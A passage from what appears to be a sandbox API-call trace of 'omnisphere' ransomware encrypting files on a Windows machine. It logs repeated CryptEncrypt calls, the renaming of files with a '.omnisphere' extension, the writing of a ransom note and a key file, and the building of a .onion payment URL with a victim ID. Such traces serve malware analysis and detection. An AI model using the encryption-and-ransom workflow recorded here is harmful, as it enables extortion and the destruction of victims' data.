pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.443] CryptDestroyKey (hKey=0x1639b68) returned 1 [0119.443] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0119.443] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x345, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.443] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.443] GetProcessHeap () returned 0x1600000 [0119.443] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16bba40 [0119.443] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\acolqjulnxmql.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\acolqjulnxmql.lnk.omnisphere")) returned 1 [0119.444] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk.omnisphere.id" [0119.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\acolqjulnxmql.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.446] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.447] CloseHandle (hObject=0x3c0) returned 1 [0119.448] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.449] CloseHandle (hObject=0x288) returned 1 [0119.449] SetEndOfFile (hFile=0x28c) returned 1 [0119.449] FlushFileBuffers (hFile=0x28c) returned 1 [0119.514] CloseHandle (hObject=0x28c) returned 1 [0119.515] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.515] GetProcessHeap () returned 0x1600000 [0119.515] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bbd00 [0119.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.515] GetProcessHeap () returned 0x1600000 [0119.515] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2310 [0119.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.515] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.515] GetProcessHeap () returned 0x1600000 [0119.515] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afb48 [0119.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afb48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.515] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.515] GetProcessHeap () returned 0x1600000 [0119.515] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1a68 [0119.516] PathCombineW (in: pszDest=0x16a1a68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.516] GetProcessHeap () returned 0x1600000 [0119.516] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b56c8 [0119.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.516] WriteFile (in: hFile=0x28c, lpBuffer=0x16b56c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b56c8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.516] CloseHandle (hObject=0x28c) returned 1 [0119.517] GetProcessHeap () returned 0x1600000 [0119.517] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bbd00 | out: hHeap=0x1600000) returned 1 [0119.517] GetProcessHeap () returned 0x1600000 [0119.517] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0119.517] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.517] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.517] CloseHandle (hObject=0x28c) returned 1 [0119.518] GetProcessHeap () returned 0x1600000 [0119.518] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0119.518] GetProcessHeap () returned 0x1600000 [0119.518] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.518] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0e75a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ec0e75a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ec0e75a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a1, dwReserved0=0x0, dwReserved1=0xd3, cFileName="AGjmuyB-BW6pOtioq.lnk", cAlternateFileName="AGJMUY~1.LNK")) returned 1 [0119.518] GetProcessHeap () returned 0x1600000 [0119.518] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16a2980 [0119.518] PathCombineW (in: pszDest=0x16a2980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="AGjmuyB-BW6pOtioq.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk" [0119.518] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AGjmuyB-BW6pOtioq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\agjmuyb-bw6potioq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.519] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1441) returned 1 [0119.519] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x7d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.519] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0119.519] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a1, lpName=0x0) returned 0x288 [0119.519] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0119.519] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.519] CloseHandle (hObject=0x288) returned 1 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.519] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] GetTickCount () returned 0x115ddd9 [0119.520] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0119.521] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0119.521] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.521] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.521] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0119.522] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a1, lpName=0x0) returned 0x288 [0119.522] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a1) returned 0x1480000 [0119.522] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f00) returned 1 [0119.523] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0119.523] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.523] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.524] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.525] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 